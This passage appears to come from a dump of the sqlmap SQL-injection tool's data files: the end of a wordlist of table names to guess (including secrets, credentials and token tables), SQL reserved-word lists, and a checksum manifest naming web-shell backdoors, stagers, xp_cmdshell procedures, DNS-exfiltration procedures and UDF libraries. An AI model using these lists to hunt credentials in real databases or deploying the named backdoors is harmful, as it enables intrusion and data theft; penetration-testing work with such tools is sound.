ar_internal_metadata active_storage_blobs active_storage_attachments # misc. flyway_schema_history databasechangelog databasechangeloglock alembic_version knex_migrations knex_migrations_lock doctrine_migration_versions api_keys api_tokens access_tokens refresh_tokens oauth_clients oauth_access_tokens oauth_refresh_tokens webhooks webhook_events secrets credentials audit_logs activity_logs system_settings feature_flags tenants subscriptions users_bak users_old orders_backup ================================================ FILE: data/txt/keywords.txt ================================================ # Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) # See the file 'LICENSE' for copying permission # SQL-92 keywords (reference: http://developer.mimer.com/validator/sql-reserved-words.tml) ABSOLUTE ACTION ADD ALL ALLOCATE ALTER AND ANY ARE AS ASC ASSERTION AT AUTHORIZATION AVG BEGIN BETWEEN BIT BIT_LENGTH BOTH BY CALL CASCADE CASCADED CASE CAST CATALOG CHAR CHAR_LENGTH CHARACTER CHARACTER_LENGTH CHECK CLOSE COALESCE COLLATE COLLATION COLUMN COMMIT CONDITION CONNECT CONNECTION CONSTRAINT CONSTRAINTS CONTAINS CONTINUE CONVERT CORRESPONDING COUNT CREATE CROSS CURRENT CURRENT_DATE CURRENT_PATH CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURSOR DATE DAY DEALLOCATE DEC DECIMAL DECLARE DEFAULT DEFERRABLE DEFERRED DELETE DESC DESCRIBE DESCRIPTOR DETERMINISTIC DIAGNOSTICS DISCONNECT DISTINCT DO DOMAIN DOUBLE DROP ELSE ELSEIF END ESCAPE EXCEPT EXCEPTION EXEC EXECUTE EXISTS EXIT EXTERNAL EXTRACT FALSE FETCH FIRST FLOAT FOR FOREIGN FOUND FROM FULL FUNCTION GET GLOBAL GO GOTO GRANT GROUP HANDLER HAVING HOUR IDENTITY IF IMMEDIATE IN INDICATOR INITIALLY INNER INOUT INPUT INSENSITIVE INSERT INT INTEGER INTERSECT INTERVAL INTO IS ISOLATION JOIN KEY LANGUAGE LAST LEADING LEAVE LEFT LEVEL LIKE LOCAL LOOP LOWER MATCH MAX MIN MINUTE MODULE MONTH NAMES NATIONAL NATURAL NCHAR NEXT NO NOT NULL NULLIF NUMERIC OCTET_LENGTH OF ON ONLY OPEN OPTION OR ORDER OUT OUTER OUTPUT OVERLAPS PAD PARAMETER PARTIAL PATH POSITION PRECISION PREPARE PRESERVE PRIMARY PRIOR PRIVILEGES PROCEDURE READ REAL REFERENCES RELATIVE REPEAT RESIGNAL RESTRICT RETURN RETURNS REVOKE RIGHT ROLLBACK ROUTINE ROWS SCHEMA SCROLL SECOND SECTION SELECT SESSION SESSION_USER SET SIGNAL SIZE SMALLINT SOME SPACE SPECIFIC SQL SQLCODE SQLERROR SQLEXCEPTION SQLSTATE SQLWARNING SUBSTRING SUM SYSTEM_USER TABLE TEMPORARY THEN TIME TIMESTAMP TIMEZONE_HOUR TIMEZONE_MINUTE TO TRAILING TRANSACTION TRANSLATE TRANSLATION TRIM TRUE UNDO UNION UNIQUE UNKNOWN UNTIL UPDATE UPPER USAGE USER USING VALUE VALUES VARCHAR VARYING VIEW WHEN WHENEVER WHERE WHILE WITH WORK WRITE YEAR ZONE # MySQL 5.0 keywords (reference: http://dev.mysql.com/doc/refman/5.0/en/reserved-words.html) ADD ALL ALTER ANALYZE AND ASASC ASENSITIVE BEFORE BETWEEN BIGINT BINARYBLOB BOTH BY CALL CASCADE CASECHANGE CAST CHAR CHARACTER CHECK COLLATE COLUMN CONCAT CONDITIONCONSTRAINT CONTINUE CONVERT CREATE CROSS CURRENT_DATE CURRENT_TIMECURRENT_TIMESTAMP CURRENT_USER CURSOR DATABASE DATABASES DAY_HOUR DAY_MICROSECONDDAY_MINUTE DAY_SECOND DEC DECIMAL DECLARE DEFAULTDELAYED DELETE DESC DESCRIBE DETERMINISTIC DISTINCTDISTINCTROW DIV DOUBLE DROP DUAL EACH ELSEELSEIF ENCLOSED ESCAPED EXISTS EXIT EXPLAIN FALSEFETCH FLOAT FLOAT4 FLOAT8 FOR FORCE FOREIGNFROM FULLTEXT GRANT GROUP HAVING HIGH_PRIORITYHOUR_MICROSECOND HOUR_MINUTE HOUR_SECOND IF IFNULL IGNORE ININDEX INFILE INNER INOUT INSENSITIVE INSERT INTINT1 INT2 INT3 INT4 INT8 INTEGER INTERVALINTO IS ISNULL ITERATE JOIN KEY KEYS KILLLEADING LEAVE LEFT LIKE LIMIT LINESLOAD LOCALTIME LOCALTIMESTAMP LOCK LONG LONGBLOBLONGTEXT LOOP LOW_PRIORITY MATCH MEDIUMBLOB MEDIUMINT MEDIUMTEXTMIDDLEINT MINUTE_MICROSECOND MINUTE_SECOND MOD MODIFIES NATURAL NOTNO_WRITE_TO_BINLOG NULL NUMERIC ON OPTIMIZE OPTION OPTIONALLYOR ORDER OUT OUTER OUTFILE PRECISIONPRIMARY PROCEDURE PURGE READ READS REALREFERENCES REGEXP RELEASE RENAME REPEAT REPLACE REQUIRERESTRICT RETURN REVOKE RIGHT RLIKE SCHEMA SCHEMASSECOND_MICROSECOND SELECT SENSITIVE SEPARATOR SET SHOW SMALLINTSONAME SPATIAL SPECIFIC SQL SQLEXCEPTION SQLSTATESQLWARNING SQL_BIG_RESULT SQL_CALC_FOUND_ROWS SQL_SMALL_RESULT SSL STARTINGSTRAIGHT_JOIN TABLE TERMINATED THEN TINYBLOB TINYINT TINYTEXTTO TRAILING TRIGGER TRUE UNDO UNION UNIQUEUNLOCK UNSIGNED UPDATE USAGE USE USING UTC_DATEUTC_TIME UTC_TIMESTAMP VALUES VARBINARY VARCHAR VARCHARACTERVARYING VERSION WHEN WHERE WHILE WITH WRITEXOR YEAR_MONTH ZEROFILL # MySQL 8.0 keywords (reference: https://dev.mysql.com/doc/refman/8.0/en/keywords.html) ACCESSIBLE ACCOUNT ACTION ACTIVE ADD ADMIN AFTER AGAINST AGGREGATE ALGORITHM ALL ALTER ALWAYS ANALYSE ANALYZE AND ANY ARRAY AS ASC ASCII ASENSITIVE AT ATTRIBUTE AUTHENTICATION AUTOEXTEND_SIZE AUTO_INCREMENT AVG AVG_ROW_LENGTH BACKUP BEFORE BEGIN BETWEEN BIGINT BINARY BINLOG BIT BLOB BLOCK BOOL BOOLEAN BOTH BTREE BUCKETS BULK BY BYTE CACHE CALL CASCADE CASCADED CASE CATALOG_NAME CHAIN CHALLENGE_RESPONSE CHANGE CHANGED CHANNEL CHAR CHARACTER CHARSET CHECK CHECKSUM CIPHER CLASS_ORIGIN CLIENT CLONE CLOSE COALESCE CODE COLLATE COLLATION COLUMN COLUMNS COLUMN_FORMAT COLUMN_NAME COMMENT COMMIT COMMITTED COMPACT COMPLETION COMPONENT COMPRESSED COMPRESSION CONCURRENT CONDITION CONNECTION CONSISTENT CONSTRAINT CONSTRAINT_CATALOG CONSTRAINT_NAME CONSTRAINT_SCHEMA CONTAINS CONTEXT CONTINUE CONVERT CPU CREATE CROSS CUBE CUME_DIST CURRENT CURRENT_DATE CURRENT_TIME CURRENT_TIMESTAMP CURRENT_USER CURSOR CURSOR_NAME DATA DATABASE DATABASES DATAFILE DATE DATETIME DAY DAY_HOUR DAY_MICROSECOND DAY_MINUTE DAY_SECOND DEALLOCATE DEC DECIMAL DECLARE DEFAULT DEFAULT_AUTH DEFINER DEFINITION DELAYED DELAY_KEY_WRITE DELETE DENSE_RANK DESC DESCRIBE DESCRIPTION DES_KEY_FILE DETERMINISTIC DIAGNOSTICS DIRECTORY DISABLE DISCARD DISK DISTINCT DISTINCTROW DIV DO DOUBLE DROP DUAL DUMPFILE DUPLICATE DYNAMIC EACH ELSE ELSEIF EMPTY ENABLE ENCLOSED ENCRYPTION END ENDS ENFORCED ENGINE ENGINES ENGINE_ATTRIBUTE ENUM ERROR ERRORS ESCAPE ESCAPED EVENT EVENTS EVERY EXCEPT EXCHANGE EXCLUDE EXECUTE EXISTS EXIT EXPANSION EXPIRE EXPLAIN EXPORT EXTENDED EXTENT_SIZE FACTOR FAILED_LOGIN_ATTEMPTS FALSE FAST FAULTS FETCH FIELDS FILE FILE_BLOCK_SIZE FILTER FINISH FIRST FIRST_VALUE FIXED FLOAT FLOAT4 FLOAT8 FLUSH FOLLOWING FOLLOWS FOR FORCE FOREIGN FORMAT FOUND FROM FULL FULLTEXT FUNCTION GENERAL GENERATE GENERATED GEOMCOLLECTION GEOMETRY GEOMETRYCOLLECTION GET GET_FORMAT GET_MASTER_PUBLIC_KEY GET_SOURCE_PUBLIC_KEY GLOBAL GRANT GRANTS GROUP GROUPING GROUPS GROUP_REPLICATION GTID_ONLY HANDLER HASH HAVING HELP HIGH_PRIORITY HISTOGRAM HISTORY HOST HOSTS HOUR HOUR_MICROSECOND HOUR_MINUTE HOUR_SECOND IDENTIFIED IF IGNORE IGNORE_SERVER_IDS IMPORT IN INACTIVE INDEX INDEXES INFILE INITIAL INITIAL_SIZE INITIATE INNER INOUT INSENSITIVE INSERT INSERT_METHOD INSTALL INSTANCE INT INT1 INT2 INT3 INT4 INT8 INTEGER INTERSECT INTERVAL INTO INVISIBLE INVOKER IO IO_AFTER_GTIDS IO_BEFORE_GTIDS IO_THREAD IPC IS ISOLATION ISSUER ITERATE JOIN JSON JSON_TABLE JSON_VALUE KEY KEYRING KEYS KEY_BLOCK_SIZE KILL LAG LANGUAGE LAST LAST_VALUE LATERAL LEAD LEADING LEAVE LEAVES LEFT LESS LEVEL LIKE LIMIT LINEAR LINES LINESTRING LIST LOAD LOCAL LOCALTIME LOCALTIMESTAMP LOCK LOCKED LOCKS LOGFILE LOGS LONG LONGBLOB LONGTEXT LOOP LOW_PRIORITY MASTER MASTER_AUTO_POSITION MASTER_BIND MASTER_COMPRESSION_ALGORITHMS MASTER_CONNECT_RETRY MASTER_DELAY MASTER_HEARTBEAT_PERIOD MASTER_HOST MASTER_LOG_FILE MASTER_LOG_POS MASTER_PASSWORD MASTER_PORT MASTER_PUBLIC_KEY_PATH MASTER_RETRY_COUNT MASTER_SERVER_ID MASTER_SSL MASTER_SSL_CA MASTER_SSL_CAPATH MASTER_SSL_CERT MASTER_SSL_CIPHER MASTER_SSL_CRL MASTER_SSL_CRLPATH MASTER_SSL_KEY MASTER_SSL_VERIFY_SERVER_CERT MASTER_TLS_CIPHERSUITES MASTER_TLS_VERSION MASTER_USER MASTER_ZSTD_COMPRESSION_LEVEL MATCH MAXVALUE MAX_CONNECTIONS_PER_HOUR MAX_QUERIES_PER_HOUR MAX_ROWS MAX_SIZE MAX_UPDATES_PER_HOUR MAX_USER_CONNECTIONS MEDIUM MEDIUMBLOB MEDIUMINT MEDIUMTEXT MEMBER MEMORY MERGE MESSAGE_TEXT MICROSECOND MIDDLEINT MIGRATE MINUTE MINUTE_MICROSECOND MINUTE_SECOND MIN_ROWS MOD MODE MODIFIES MODIFY MONTH MULTILINESTRING MULTIPOINT MULTIPOLYGON MUTEX MYSQL_ERRNO NAME NAMES NATIONAL NATURAL NCHAR NDB NDBCLUSTER NESTED NETWORK_NAMESPACE NEVER NEW NEXT NO NODEGROUP NONE NOT NOWAIT NO_WAIT NO_WRITE_TO_BINLOG NTH_VALUE NTILE NULL NULLS NUMBER NUMERIC NVARCHAR OF OFF OFFSET OJ OLD ON ONE ONLY OPEN OPTIMIZE OPTIMIZER_COSTS OPTION OPTIONAL OPTIONALLY OPTIONS OR ORDER ORDINALITY ORGANIZATION OTHERS OUT OUTER OUTFILE OVER OWNER PACK_KEYS PAGE PARSER PARTIAL PARTITION PARTITIONING PARTITIONS PASSWORD_LOCK_TIME PATH PERCENT_RANK PERSIST PERSIST_ONLY PHASE PLUGIN PLUGINS PLUGIN_DIR POINT POLYGON PORT PRECEDES PRECEDING PRECISION PREPARE PRESERVE PREV PRIMARY PRIVILEGES PRIVILEGE_CHECKS_USER PROCEDURE PROCESS PROCESSLIST PROFILE PROFILES PROXY PURGE QUARTER QUERY QUICK RANDOM RANGE RANK READ READS READ_ONLY READ_WRITE REAL REBUILD RECOVER RECURSIVE REDOFILE REDO_BUFFER_SIZE REDUNDANT REFERENCE REFERENCES REGEXP REGISTRATION RELAY RELAYLOG RELAY_LOG_FILE RELAY_LOG_POS RELAY_THREAD RELEASE RELOAD REMOTE REMOVE RENAME REORGANIZE REPAIR REPEAT REPEATABLE REPLACE REPLICA REPLICAS REPLICATE_DO_DB REPLICATE_DO_TABLE REPLICATE_IGNORE_DB REPLICATE_IGNORE_TABLE REPLICATE_REWRITE_DB REPLICATE_WILD_DO_TABLE REPLICATE_WILD_IGNORE_TABLE REPLICATION REQUIRE REQUIRE_ROW_FORMAT RESET RESIGNAL RESOURCE RESPECT RESTART RESTORE RESTRICT RESUME RETAIN RETURN RETURNED_SQLSTATE RETURNING RETURNS REUSE REVERSE REVOKE RIGHT RLIKE ROLE ROLLBACK ROLLUP ROTATE ROUTINE ROW ROWS ROW_COUNT ROW_FORMAT ROW_NUMBER RTREE SAVEPOINT SCHEDULE SCHEMA SCHEMAS SCHEMA_NAME SECOND SECONDARY SECONDARY_ENGINE SECONDARY_ENGINE_ATTRIBUTE SECONDARY_LOAD SECONDARY_UNLOAD SECOND_MICROSECOND SECURITY SELECT SENSITIVE SEPARATOR SERIAL SERIALIZABLE SERVER SESSION SET SHARE SHOW SHUTDOWN SIGNAL SIGNED SIMPLE SKIP SLAVE SLOW SMALLINT SNAPSHOT SOCKET SOME SONAME SOUNDS SOURCE SOURCE_AUTO_POSITION SOURCE_BIND SOURCE_COMPRESSION_ALGORITHMS SOURCE_CONNECT_RETRY SOURCE_DELAY SOURCE_HEARTBEAT_PERIOD SOURCE_HOST SOURCE_LOG_FILE SOURCE_LOG_POS SOURCE_PASSWORD SOURCE_PORT SOURCE_PUBLIC_KEY_PATH SOURCE_RETRY_COUNT SOURCE_SSL SOURCE_SSL_CA SOURCE_SSL_CAPATH SOURCE_SSL_CERT SOURCE_SSL_CIPHER SOURCE_SSL_CRL SOURCE_SSL_CRLPATH SOURCE_SSL_KEY SOURCE_SSL_VERIFY_SERVER_CERT SOURCE_TLS_CIPHERSUITES SOURCE_TLS_VERSION SOURCE_USER SOURCE_ZSTD_COMPRESSION_LEVEL SPATIAL SPECIFIC SQL SQLEXCEPTION SQLSTATE SQLWARNING SQL_AFTER_GTIDS SQL_AFTER_MTS_GAPS SQL_BEFORE_GTIDS SQL_BIG_RESULT SQL_BUFFER_RESULT SQL_CACHE SQL_CALC_FOUND_ROWS SQL_NO_CACHE SQL_SMALL_RESULT SQL_THREAD SQL_TSI_DAY SQL_TSI_HOUR SQL_TSI_MINUTE SQL_TSI_MONTH SQL_TSI_QUARTER SQL_TSI_SECOND SQL_TSI_WEEK SQL_TSI_YEAR SRID SSL STACKED START STARTING STARTS STATS_AUTO_RECALC STATS_PERSISTENT STATS_SAMPLE_PAGES STATUS STOP STORAGE STORED STRAIGHT_JOIN STREAM STRING SUBCLASS_ORIGIN SUBJECT SUBPARTITION SUBPARTITIONS SUPER SUSPEND SWAPS SWITCHES SYSTEM TABLE TABLES TABLESPACE TABLE_CHECKSUM TABLE_NAME TEMPORARY TEMPTABLE TERMINATED TEXT THAN THEN THREAD_PRIORITY TIES TIME TIMESTAMP TIMESTAMPADD TIMESTAMPDIFF TINYBLOB TINYINT TINYTEXT TLS TO TRAILING TRANSACTION TRIGGER TRIGGERS TRUE TRUNCATE TYPE TYPES UNBOUNDED UNCOMMITTED UNDEFINED UNDO UNDOFILE UNDO_BUFFER_SIZE UNICODE UNINSTALL UNION UNIQUE UNKNOWN UNLOCK UNREGISTER UNSIGNED UNTIL UPDATE UPGRADE URL USAGE USE USER USER_RESOURCES USE_FRM USING UTC_DATE UTC_TIME UTC_TIMESTAMP VALIDATION VALUE VALUES VARBINARY VARCHAR VARCHARACTER VARIABLES VARYING VCPU VIEW VIRTUAL VISIBLE WAIT WARNINGS WEEK WEIGHT_STRING WHEN WHERE WHILE WINDOW WITH WITHOUT WORK WRAPPER WRITE X509 XA XID XML XOR YEAR YEAR_MONTH ZEROFILL ZONE # PostgreSQL|SQL:2016|SQL:2011 reserved words (reference: https://www.postgresql.org/docs/current/sql-keywords-appendix.html) ABS ACOS ALL ALLOCATE ALTER ANALYSE ANALYZE AND ANY ARE ARRAY ARRAY_AGG ARRAY_MAX_CARDINALITY AS ASC ASENSITIVE ASIN ASYMMETRIC AT ATAN ATOMIC AUTHORIZATION AVG BEGIN BEGIN_FRAME BEGIN_PARTITION BETWEEN BIGINT BINARY BLOB BOOLEAN BOTH BY CALL CALLED CARDINALITY CASCADED CASE CAST CEIL CEILING CHAR CHARACTER CHARACTER_LENGTH CHAR_LENGTH CHECK CLASSIFIER CLOB CLOSE COALESCE COLLATE COLLATION COLLECT COLUMN COMMIT CONCURRENTLY CONDITION CONNECT CONSTRAINT CONTAINS CONVERT COPY CORR CORRESPONDING COS COSH COUNT COVAR_POP COVAR_SAMP CREATE CROSS CUBE CUME_DIST CURRENT CURRENT_CATALOG CURRENT_DATE CURRENT_DEFAULT_TRANSFORM_GROUP CURRENT_PATH CURRENT_ROLE CURRENT_ROW CURRENT_SCHEMA CURRENT_TIME CURRENT_TIMESTAMP CURRENT_TRANSFORM_GROUP_FOR_TYPE CURRENT_USER CURSOR CYCLE DATALINK DATE DAY DEALLOCATE DEC DECFLOAT DECIMAL DECLARE DEFAULT DEFERRABLE DEFINE DELETE DENSE_RANK DEREF DESC DESCRIBE DETERMINISTIC DISCONNECT DISTINCT DLNEWCOPY DLPREVIOUSCOPY DLURLCOMPLETE DLURLCOMPLETEONLY DLURLCOMPLETEWRITE DLURLPATH DLURLPATHONLY DLURLPATHWRITE DLURLSCHEME DLURLSERVER DLVALUE DO DOUBLE DROP DYNAMIC EACH ELEMENT ELSE EMPTY END END-EXEC END_FRAME END_PARTITION EQUALS ESCAPE EVERY EXCEPT EXEC EXECUTE EXISTS EXP EXTERNAL EXTRACT FALSE FETCH FILTER FIRST_VALUE FLOAT FLOOR FOR FOREIGN FRAME_ROW FREE FREEZE FROM FULL FUNCTION FUSION GET GLOBAL GRANT GROUP GROUPING GROUPS HAVING HOLD HOUR IDENTITY ILIKE IMPORT IN INDICATOR INITIAL INITIALLY INNER INOUT INSENSITIVE INSERT INT INTEGER INTERSECT INTERSECTION INTERVAL INTO IS ISNULL JOIN JSON_ARRAY JSON_ARRAYAGG JSON_EXISTS JSON_OBJECT JSON_OBJECTAGG JSON_QUERY JSON_TABLE JSON_TABLE_PRIMITIVE JSON_VALUE LAG LANGUAGE LARGE LAST_VALUE LATERAL LEAD LEADING LEFT LIKE LIKE_REGEX LIMIT LISTAGG LN LOCAL LOCALTIME LOCALTIMESTAMP LOG LOG10 LOWER MATCH MATCHES MATCH_NUMBER MATCH_RECOGNIZE MAX MEASURES MEMBER MERGE METHOD MIN MINUTE MOD MODIFIES MODULE MONTH MULTISET NATIONAL NATURAL NCHAR NCLOB NEW NO NONE NORMALIZE NOT NOTNULL NTH_VALUE NTILE NULL NULLIF NUMERIC OCCURRENCES_REGEX OCTET_LENGTH OF OFFSET OLD OMIT ON ONE ONLY OPEN OR ORDER OUT OUTER OVER OVERLAPS OVERLAY PARAMETER PARTITION PATTERN PER PERCENT PERCENTILE_CONT PERCENTILE_DISC PERCENT_RANK PERIOD PERMUTE PLACING PORTION POSITION POSITION_REGEX POWER PRECEDES PRECISION PREPARE PRIMARY PROCEDURE PTF RANGE RANK READS REAL RECURSIVE REF REFERENCES REFERENCING REGR_AVGX REGR_AVGY REGR_COUNT REGR_INTERCEPT REGR_R2 REGR_SLOPE REGR_SXX REGR_SXY REGR_SYY RELEASE RESULT RETURN RETURNING RETURNS REVOKE RIGHT ROLLBACK ROLLUP ROW ROWS ROW_NUMBER RUNNING SAVEPOINT SCOPE SCROLL SEARCH SECOND SEEK SELECT SENSITIVE SESSION_USER SET SHOW SIMILAR SIN SINH SKIP SMALLINT SOME SPECIFIC SPECIFICTYPE SQL SQLEXCEPTION SQLSTATE SQLWARNING SQRT START STATIC STDDEV_POP STDDEV_SAMP SUBMULTISET SUBSET SUBSTRING SUBSTRING_REGEX SUCCEEDS SUM SYMMETRIC SYSTEM SYSTEM_TIME SYSTEM_USER TABLE TABLESAMPLE TAN TANH THEN TIME TIMESTAMP TIMEZONE_HOUR TIMEZONE_MINUTE TO TRAILING TRANSLATE TRANSLATE_REGEX TRANSLATION TREAT TRIGGER TRIM TRIM_ARRAY TRUE TRUNCATE UESCAPE UNION UNIQUE UNKNOWN UNMATCHED UNNEST UPDATE UPPER USER USING VALUE VALUES VALUE_OF VARBINARY VARCHAR VARIADIC VARYING VAR_POP VAR_SAMP VERBOSE VERSIONING WHEN WHENEVER WHERE WIDTH_BUCKET WINDOW WITH WITHIN WITHOUT XML XMLAGG XMLATTRIBUTES XMLBINARY XMLCAST XMLCOMMENT XMLCONCAT XMLDOCUMENT XMLELEMENT XMLEXISTS XMLFOREST XMLITERATE XMLNAMESPACES XMLPARSE XMLPI XMLQUERY XMLSERIALIZE XMLTABLE XMLTEXT XMLVALIDATE YEAR # Misc ORD MID ================================================ FILE: data/txt/sha256sums.txt ================================================ e70317eb90f7d649e4320e59b2791b8eb5810c8cad8bc0c49d917eac966b0f18 data/procs/mssqlserver/activate_sp_oacreate.sql 6a2de9f090c06bd77824e15ac01d2dc11637290cf9a5d60c00bf5f42ac6f7120 data/procs/mssqlserver/configure_openrowset.sql 798f74471b19be1e6b1688846631b2e397c1a923ad8eca923c1ac93fc94739ad data/procs/mssqlserver/configure_xp_cmdshell.sql 5dfaeac6e7ed4c3b56fc75b3c3a594b8458effa4856c0237e1b48405c309f421 data/procs/mssqlserver/create_new_xp_cmdshell.sql 3c8944fbd4d77b530af2c72cbabeb78ebfb90f01055a794eede00b7974a115d0 data/procs/mssqlserver/disable_xp_cmdshell_2000.sql afb169095dc36176ffdd4efab9e6bb9ed905874469aac81e0ba265bc6652caa4 data/procs/mssqlserver/dns_request.sql 657d56f764c84092ff4bd10b8fcbde95c13780071b715df0af1bc92b7dd284f2 data/procs/mssqlserver/enable_xp_cmdshell_2000.sql 1b7d521faca0f69a62c39e0e4267e18a66f8313b22b760617098b7f697a5c81d data/procs/mssqlserver/run_statement_as_user.sql 9b8b6e430c705866c738dd3544b032b0099a917d91c85d2b25a8a5610c92bcdf data/procs/mysql/dns_request.sql 02b7ef3e56d8346cc4e06baa85b608b0650a8c7e3b52705781a691741fc41bfb data/procs/mysql/write_file_limit.sql 02be5ce785214cb9cac8f0eab10128d6f39f5f5de990dea8819774986d0a7900 data/procs/oracle/dns_request.sql 606fe26228598128c88bda035986281f117879ac7ff5833d88e293c156adc117 data/procs/oracle/read_file_export_extension.sql 4d448d4b7d8bc60ab2eeedfe16f7aa70c60d73aa6820d647815d02a65b1af9eb data/procs/postgresql/dns_request.sql 7e3e28eac7f9ef0dea0a6a4cdb1ce9c41f28dd2ee0127008adbfa088d40ef137 data/procs/README.txt 3ba14fdeac54b552860f6d1d73e7dc38dfcde6ef184591b135687d9c21d7c8cd data/shell/backdoors/backdoor.asp_ 35197e3786008b389adf3ecb46e72a5d6f9c7f00a8c9174bf362a4e4d32e594c data/shell/backdoors/backdoor.aspx_ 081680b403d0d02b6b1c49d67a5372b95c2a345038c4e2b9ac446af8b4af2cc8 data/shell/backdoors/backdoor.cfm_ f240c9ba18caaf353e3c41340f36e880ed16385cad4937729e59a4fd4e3fa40a data/shell/backdoors/backdoor.jsp_ 78b8b00aeaf9fddc5c62832563f3edda18ec0f6429075e7d89d06fce9ddcf8c2 data/shell/backdoors/backdoor.php_ a08e09c1020eae40b71650c9b0ac3c3842166db639fdcfc149310fc8cf536f64 data/shell/README.txt a65269dcf3cecd4be0bf6b657cbf49ac77814ac7b0e30afa1cd44bc2fed64c33 data/shell/stagers/stager.asp_ 8f625fdc513258ee26b3cae257be7114c9f114acb1e93172e2a8f5d2e8e0e0db data/shell/stagers/stager.aspx_ c52c17f3344707cae4c3694a979e073202bd46866fcc51d99f7e4d0c21cf335b data/shell/stagers/stager.cfm_ 8cb4a001efc15bd8022d44df6eb9b2f5f5af1c64caba8f7dffde563ccba76347 data/shell/stagers/stager.jsp_ af4e1f87ec7afd12b7ddb39ff07bf24cd31be2b1de11e1be064e1dd96ff43eac data/shell/stagers/stager.php_ eb86f6ad21e597f9283bb4360129ebc717bc8f063d7ab2298f31118275790484 data/txt/common-columns.txt 63ba15f2ba3df6e55600a2749752c82039add43ed61129febd9221eb1115f240 data/txt/common-files.txt 9610fbd4ede776ab60d003c0ea052d68625921a53cdcfa50a4965b0985b619ca data/txt/common-outputs.txt 44047281263ef297f27fdd8fa98a0b0438a25989f897ce184cb0e2e442fb6c11 data/txt/common-tables.txt ccba96624a0176b4c5acd8824db62a8c6856dafa7d32424807f38efed22a6c29 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt 6c07785ff36482ce798c48cc30ce6954855aadbe3bfac9f132207801a82e2473 data/txt/user-agents.txt 9c2d6a0e96176447ab8758f8de96e6a681aa0c074cd0eca497712246d8f410c6 data/txt/wordlist.tx_ 0a1f612740c5cf7cd58de8aadd5b758c887cf8465e629787e29234d7d0777514 data/udf/mysql/linux/32/lib_mysqludf_sys.so_ 6944a6f7b4137ef5c4dedff23102af2bd199097fc8c33aeea3891f8cff25e002 data/udf/mysql/linux/64/lib_mysqludf_sys.so_ 4ceb22cb3ae14b44d68b56b147e1bd61a70cb424a3e95b6d010330f47e0fb5d0 data/udf/mysql/windows/32/lib_mysqludf_sys.dll_ 4cc318f2574366686220b78ce905e52ae821526b0228beea538063f552813282 data/udf/mysql/windows/64/lib_mysqludf_sys.dll_ dc6ac20faf8d738673de1b42399d23be1c4006238a863e0aec96d1b84c7120de data/udf/postgresql/linux/32/10/lib_postgresqludf_sys.so_ 5f062f5949803b9457ab1f4c138f2a97004944fdd3adf59954070b36863024fa data/udf/postgresql/linux/32/11/lib_postgresqludf_sys.so_ 3b3b46ccbf3c588ebaf90bf070eb1049fcf683918d54260c12b3d682916a155b data/udf/postgresql/linux/32/8.2/lib_postgresqludf_sys.so_ d662e025c2680a4b463fe7c0baad16582f0700800140d5cfcdddbabc5287f720 data/udf/postgresql/linux/32/8.3/lib_postgresqludf_sys.so_ e8050613548293ef500277713a4aa9aa5ca1a9f5f1fef3120a04dc1ae1440937 data/udf/postgresql/linux/32/8.4/lib_postgresqludf_sys.so_ 585a29538fdcdb43994d6b2273447287695676855a80b74fc84d76a228cf86c5 data/udf/postgresql/linux/32/9.0/lib_postgresqludf_sys.so_ 956c17e6ef74ac4f4d423e9060f9fd5fb6aaa885dcda75f3180edfbb6e5debe5 data/udf/postgresql/linux/32/9.1/lib_postgresqludf_sys.so_ 619ae8bcce96042c4777250bccf9db41ee7131a7b610e79385116bce146704e2 data/udf/postgresql/linux/32/9.2/lib_postgresqludf_sys.so_ 7c8359639ecbc57cf9278e22cc177073c69999826ba940aa2ce86fc829d27ab8 data/udf/postgresql/linux/32/9.3/lib_postgresqludf_sys.so_ 2e77400e71c964f3d2491dbddeb92eef6c9e2fcc8db57d58e10b95976dc54524 data/udf/postgresql/linux/32/9.4/lib_postgresqludf_sys.so_ b4e5c86ba5c9ad668d822944fe8bfd59664cc8a6c3a6e5fb6cf2ce1fe7cb04a9 data/udf/postgresql/linux/32/9.5/lib_postgresqludf_sys.so_ c58117a9c5569bbf74170a5cd93d7c878b260c813515694e42d25b6d38bbeb79 data/udf/postgresql/linux/32/9.6/lib_postgresqludf_sys.so_ ffb54c96f422b1e833152b7134adff65418e155e1d3a798e9325cf53daadd308 data/udf/postgresql/linux/64/10/lib_postgresqludf_sys.so_ b907f950f8485d661b4a2c8cb53fbc4d25606275ef36e33929fd4772cfa8925d data/udf/postgresql/linux/64/11/lib_postgresqludf_sys.so_ f9015f9b1c4d8ffe0bf806718e31d36b32108544a3b99fda6a8c44ebfdcca0ff data/udf/postgresql/linux/64/12/lib_postgresqludf_sys.so_ 869d9df6b8bee8f801fabfda5ca242bd3514c1c9a666c28c52770ffe6eaf7afc data/udf/postgresql/linux/64/8.2/lib_postgresqludf_sys.so_ 4e53979687166cc26a320069f9cdfe09535f348088fc76810314a6cf41e13d12 data/udf/postgresql/linux/64/8.3/lib_postgresqludf_sys.so_ bd8ae1dd0c61634615cd26dd9765e24b8c63302cf0663fbb4b516b4cbde5457e data/udf/postgresql/linux/64/8.4/lib_postgresqludf_sys.so_ 8ce6f5d9b6821e57d516a07255cf5db544ee683db24ee231e5ce8c152baf0a69 data/udf/postgresql/linux/64/9.0/lib_postgresqludf_sys.so_ 6b0c4996ade6d1e667d52037d6687548a442d9c6fc1e4c31e0ba3b2248474b1f data/udf/postgresql/linux/64/9.1/lib_postgresqludf_sys.so_ d3e0238e9c83b88061b1613db5c9faed5f03a16f6ecf34c52d5ff9ac960107d0 data/udf/postgresql/linux/64/9.2/lib_postgresqludf_sys.so_ 102986c0524cab385c95deba4efed4ad7e3479ef2770cc7256571958b9325b4f data/udf/postgresql/linux/64/9.3/lib_postgresqludf_sys.so_ 031b5ca9e9ff47435821d04abbe0716e464785dd57e58439ff9dc552144f4e59 data/udf/postgresql/linux/64/9.4/lib_postgresqludf_sys.so_ dc1e3542e639ffa2b63972d34fc2529054ec163560c1f28c1719413759f94616 data/udf/postgresql/linux/64/9.5/lib_postgresqludf_sys.so_ 07d425be2d24cd480299759c12dd8b1c77707dc9879b1878033c3149185ccf60 data/udf/postgresql/linux/64/9.6/lib_postgresqludf_sys.so_ c5b9d622aca6da735e7ed9906e28c7e061e97c223ef92ba1a5d5028ecbb16962 data/udf/postgresql/windows/32/8.2/lib_postgresqludf_sys.dll_ 807413d852b9d2db33b7f6064699df3328cd4cf9357cac4f7627a0bbb38f6fbf data/udf/postgresql/windows/32/8.3/lib_postgresqludf_sys.dll_ 